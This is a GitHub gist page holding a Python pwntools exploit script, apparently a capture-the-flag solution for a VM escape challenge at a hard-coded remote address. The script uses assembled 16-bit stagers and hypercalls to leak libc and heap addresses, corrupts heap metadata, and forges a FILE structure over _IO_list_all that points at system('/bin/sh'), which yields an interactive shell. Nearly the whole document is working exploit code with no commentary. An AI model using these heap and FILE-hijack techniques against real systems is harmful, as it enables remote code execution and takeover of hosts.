Skip to content

Instantly share code, notes, and snippets.

@spq
Created July 30, 2018 10:19
Show Gist options
  • Save spq/39e56f278fbf8fd2084bac9e96fb4775 to your computer and use it in GitHub Desktop.
Save spq/39e56f278fbf8fd2084bac9e96fb4775 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
code = """
BITS 16
begin:
times (0x1f3-2) nop
jmp main
puts:
push cx
push dx
push si
mov cx, bx
mov si, ax
loc_1FA:
mov al, [si]
out 17h, al
inc si
loop loc_1FA
pop si
pop dx
pop cx
retn
gets:
push cx
push dx
push si
mov cx, bx
mov si, ax
loc_20C:
in al, 17h
mov [si], al
inc si
loop loc_20C
pop si
pop dx
pop cx
retn
buffer:
times 0x20 db 0
bufferend:
main:
mov ax, begin
mov bx, 0x100
call gets
push main
jmp begin
"""
from pwn import *
#r = process('./0e73066d87ff433989805349cfddc758')
r = remote("34.236.229.208", 9999)
def alloc1(sz):
r.sendafter('Your choice:', '1')
r.sendafter('Size:', p16(sz))
def w(idx, data):
r.sendafter('Your choice:', '2')
r.sendafter('Index:', p8(idx))
r.sendafter('Content:', data)
alloc1(0x1000-1)
for _ in range(0xb):
alloc1(0x1000)
def do_compile(code):
open("/tmp/nasm.in", "w").write(code)
os.system("nasm -o /tmp/nasm.out -- /tmp/nasm.in")
code=open("/tmp/nasm.out").read()
os.system("ndisasm -b 16 /tmp/nasm.out")
return code
code = do_compile(code)
code = ("X" + code).ljust(0x1000, "\xf4")
w(0xb, code)
def read_bytes(where, length=1):
code = do_compile("""BITS 16
mov si, """ + hex(where) + """
mov di, """ + hex(0xffff & (where + length)) + """
next:
mov al, [si]
out 17h, al
inc si
cmp si, di
jne next
ret""")
r.send(code.ljust(0x100))
d = r.recvn(length)
return d
def write_bytes(where, what):
for i in xrange(0, len(what), 32):
code = "BITS 16\nmov si, " + hex(where + i) + "\n"
for c in what[i:][:32]:
code += "mov al, " + hex(ord(c)) + "\nmov [si], al\ninc si\n"
code += "ret"
code = do_compile(code)
r.send(code.ljust(0x100))
def vmcall(ax, bx=0, cx=0, dx=0):
code = do_compile("""BITS 16
mov ax, """ + hex(ax) + """
mov bx, """ + hex(bx) + """
mov cx, """ + hex(cx) + """
mov dx, """ + hex(dx) + """
push 0x100
popf
nop
vmcall
nop
push 0
popf
ret""")
r.send(code.ljust(0x100))
def alloc(sz):
assert(sz >= 0x80)
assert(sz <= 0x1000)
vmcall(0x100, sz)
def free(idx, mode=3):
assert(mode in (1,2,3))
vmcall(0x101, mode, idx)
def print_alloc(idx, length):
write_bytes(0x4000, "A" * length)
vmcall(0x102, 2, idx, length)
d = read_bytes(0x4000, length)
return d
def write_alloc(idx, content):
write_bytes(0x4000, content)
vmcall(0x102, 1, idx, len(content))
context.arch = 'amd64'
alloc(0x1000) # 0
alloc(0x80) # 1
alloc(0x80) # 2
alloc(0x80) # 3
free(0, 1)
free(2, 1)
libc = u64(print_alloc(0, 8)[:8]) - 0x3c4b78
heap = u64(print_alloc(0, 16)[8:16]) - 0x10a0
print 'libc', hex(libc)
print 'heap', hex(heap)
free(1, 1)
free(3, 1)
# cleaned up
alloc(0x80) # 4
alloc(0x80) # 5 // overwrite size to 0x61
alloc(0x80) # 6
free(5, 1)
write_alloc(0, fit({0x88: p64(0x61), 0x90: p64(libc+0x3c4b78)*2, 0x88+0x60-8: flat(0x60, 0x20), 0x88+0x60+0x20: 0x21}, filler='\x00'))
alloc(0x200) # 7
alloc(0x80) # 8
alloc(0x80) # 9
free(8, 1)
io_list_all = libc+0x3c5520
where = io_list_all
write_alloc(8, fit({8: where-0x10}, filler='\x00'))
fake_chunk = '/bin/sh\x00'+p64(0x61)
fake_chunk += p64(0xdeadbeef)+p64(0xdeadbeef)
fake_chunk += p64(0) + p64(1) # _IO_write_ptr _IO_write_base
fake_chunk = fake_chunk.ljust(0xc0,'\x00')
fake_chunk += p64(0) # mode
fake_chunk += p64(0)
fake_chunk += p64(0)
fake_chunk += p64(heap+0x10) # vtable
fake_chunk += p64(1)
fake_chunk += p64(2)
fake_chunk += p64(3)
system = libc+0x45390
write_alloc(0, fit({24: system, 0x80: fake_chunk}, filler='\x00'))
from time import sleep
alloc(0x80)
sleep(0.5)
free(0, 1)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment